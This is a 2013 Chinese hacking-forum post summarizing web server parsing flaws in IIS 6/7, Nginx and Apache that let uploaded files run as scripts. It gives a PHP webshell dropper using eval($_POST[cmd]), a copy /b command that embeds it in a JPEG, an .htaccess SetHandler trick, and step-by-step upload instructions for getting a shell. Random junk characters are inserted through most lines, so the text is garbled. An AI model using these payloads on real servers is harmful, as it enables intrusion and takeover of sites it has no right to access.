找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2703|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain
, v+ z# N1 k  v5 |8 K( f[+]IIS6.05 u, p9 d, U5 H$ u5 _
8 t  Q% B- J- j  B1 W- e+ ~8 Z
目录解析:/xx.asp/xx.jpg ! y# D9 [5 {$ Y8 j; d" ^* _
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
" I1 g; f* u7 a. K& c! b IIS6.0 会将 xx.jpg 解析为 asp 文件。
1 l/ x& g  R( f$ X后缀解析:/xx.asp;.jpg     ( i8 a% Q* S+ i
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
: ~: X) i; f% a3 x# m0 c默认解析:/xx.asa
5 v0 ^3 w' c1 G         /xx.cer
" Z8 A) y* Z6 i; D- M" n. P         /xx.cdx9 U$ W& k$ ]; t! L2 W4 c( c
IIS6.0 默认的可执行文件除了 asp 还包含这三种
( m! s6 h+ {: ?8 T 此处可联系利用目录解析漏洞
2 e! Y9 l0 {3 r( s! G+ H9 i, b/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg) F- x" w& @* C1 [- q4 |6 K) I
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
7 ^$ n' Y6 q$ B! a: e6 o- |+ E. z
) ]9 \, Q" `* g9 _/ O IIS 7.0/IIS 7.5/Nginx <0.8.03  i3 x; s0 }9 A  j+ j. N3 X
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
" e3 y! T3 `  D; _) z 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
: V! E' e) p$ e# T 常用利用方法:
" W6 u( \5 o3 [7 f 将一张图和一个写入后门代码的文本文件合并将恶意文本  ~5 \8 h0 ]( a' P
写入图片的二进制代码之后,避免破坏图片文件头和尾* Y4 c+ A% \# s! @; I
如:
, k& I3 C! }! B$ s copy xx.jpg /b + yy.txt/a xy.jpg8 A. h$ T7 N5 Y  l0 _& \* x( Z# g! S
#########################################################/ C1 f4 J* w/ J2 j, b4 g8 G; E
/b 即二进制[binary]模式$ B" S7 H8 n) j  `/ W
/a 即ascii模式
' z6 F  C9 z6 Z( h2 q xx.jpg 正常图片文件
9 X% h7 t# {, x5 v% o' A! _ yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),8 E& n+ T8 h3 E& Z8 |, q% v
'<?php eval($_POST[cmd])?>');?>
9 T- ^7 }5 E6 E, X+ `" x 意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
. m3 m' _( v* N7 x2 p# h 为shell.php的文件
7 a6 W( S- i$ s* K1 J. I% _ ###########################################################
3 a' X: R' Z+ k- L' ` 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php & ~0 p9 I* X! M/ i
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php & {2 Q7 B( F9 J' S
密码 cmd
) r% G& Y2 m# M$ u# }  p[+]Nginx <0.8.03
. Z: e' Y* r1 W, ?) o8 d$ j & O) H5 n) h; S6 u4 A5 y( T
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞) f/ i, Z; D4 E/ a2 K9 |
在一个文件路径(/xx.jpg)后面加上%00.php- G  U7 N, H8 U" c3 S7 U( Z5 t
会将 /xx.jpg%00.php 解析为 php 文件。
8 o- P1 Q' Z+ H% |[+]Apache<0.8.03. x* ~; q' S) k" ^

0 R, e, v/ b$ F+ m9 F 后缀解析:test.php.x1.x2.x3
7 |# _5 {" g* s# Y3 Z6 [7 ~ Apache将从右至左开始判断后缀,若x3非可识别后缀,
+ n4 Y: N7 H/ h- U0 R6 R 再判断x2,直到找到可识别后缀为止,然后将该可识别
" M8 G* u" C/ M: {8 T 后缀进解析test.php.x1.x2.x3 则会被解析为php( S$ F3 S& P% {
经验之谈:php|php3|phtml 多可被Apache解析。
* n9 x2 F* x( e1 I[+]其他一些可利用的
( b) v9 s0 a  ~5 D9 @9 [. c ' O) z: Y! {! A% E- U8 G+ K! l
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
( A. n) q2 w1 J3 h若这样命名,windows会默认除去空格或点,这也是可以被利用的!
1 r6 ?5 Y- Z) C在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
. M' r2 @& e& J$ Q$ H5 M或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可- D1 k6 B4 m7 v& |
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
( a9 T) q% Q9 D% k$ A" ], O2 {% Y{Linux主机中不行,Linux允许这类文件存在}0 Y# I. G! ~6 G6 g5 S0 \
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
' Z9 _+ s- A  y. c的,当初我并不知道),且可以被上传,那可以尝试在; e" F' ?) C! T# w0 Q8 u7 _% z  B
.htaccess中写入:4 R  M$ I% e  k0 g! x
<FilesMatch “shell.jpg”> % ^, G6 o- p. F; m
SetHandler application/x-httpd-php   I: t) s, C& u/ ^
</FilesMatch>
5 p, c, u( g# `- Y4 eshell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件7 ^& ^3 t% y, ]/ w" ~. i4 X
[+]错误修改4 Z2 x% n$ M- @: z8 ?

, u  J7 M6 R8 E+ L/ e2 o2 T9 d6 N在 IIS 6.0 下可解析 /xx.asp:.jpg
+ O- o, y0 o& w# A{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
8 p' t7 \9 p( a剩下/xx.asp}修改:
9 r" f  m2 {3 u) s先谢谢核攻击的提醒9 m, u9 S2 W1 ]! b$ m* N8 E
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
, ]* c& P( g; ^5 ^" U1 h: t$ [, V# O里是没有任何内容的,因为。。不好解释 大家自己看# _( f3 P2 Y$ |+ W5 k
http://lcx.cc/?i=2448
; Q& s& Y9 f6 N3 V9 \5 S0 ]http://baike.baidu.com/view/3619593.htm" l& x7 e5 U$ e3 B0 o( h) ?+ _6 W
: x1 `% G+ \7 b  a. O5 {0 q, r# q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表